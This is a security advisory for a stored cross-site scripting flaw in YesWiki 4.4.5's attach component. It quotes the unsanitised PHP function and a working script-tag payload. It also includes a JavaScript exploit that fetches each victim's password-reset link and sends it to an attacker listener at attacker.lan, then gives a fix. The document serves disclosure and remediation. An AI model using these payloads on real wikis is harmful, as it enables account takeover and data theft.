It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.
This Proof of Concept has been performed using the followings:
- YesWiki v4.4.5 (doryphore-dev
branch, latest)
- Docker environnment (docker/docker-compose.yml
)
- Docker v27.5.0
- Default installation
The vulnerability makes use of the content edition feature and more specifically of the {{attach}}
component allowing users to attach files/medias to a page. When a file is attached using the {{attach}}
component, if the resource contained in the file
attribute doesn't exist, then the server will generate a file upload button containing the filename.
This part of the code is managed in tools/attach/libs/attach.lib.php
and the faulty function is showFileNotExits().
public function showFileNotExits()
{
echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '</a>';
}
The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.
Here is a working payload {{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}}
tha works in pages and comments:
On a comment:
On a page:
By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:
fetch('/?ParametresUtilisateur')
.then(response => {
return response.text();
})
.then(htmlString => {
const parser = new DOMParser();
const doc = parser.parseFromString(htmlString, 'text/html');
const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
})
Posting a comment using this specially crafted payload with a user account:
Allows our administrator account's password reset link to be sent to the listener of the attacker:
Therefore giving us access to an successful password reset for any account triggering the XSS:
This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.
Sanitize properly the filename attribute
public function showFileNotExits()
{
$filename = htmlspecialchars($this->file);
echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $filename . '</a>';
}
Implement a stronger password reset mechanism through:
Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)
The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.
{ "nvd_published_at": "2025-01-21T17:15:16Z", "cwe_ids": [ "CWE-79" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-01-21T20:10:49Z" }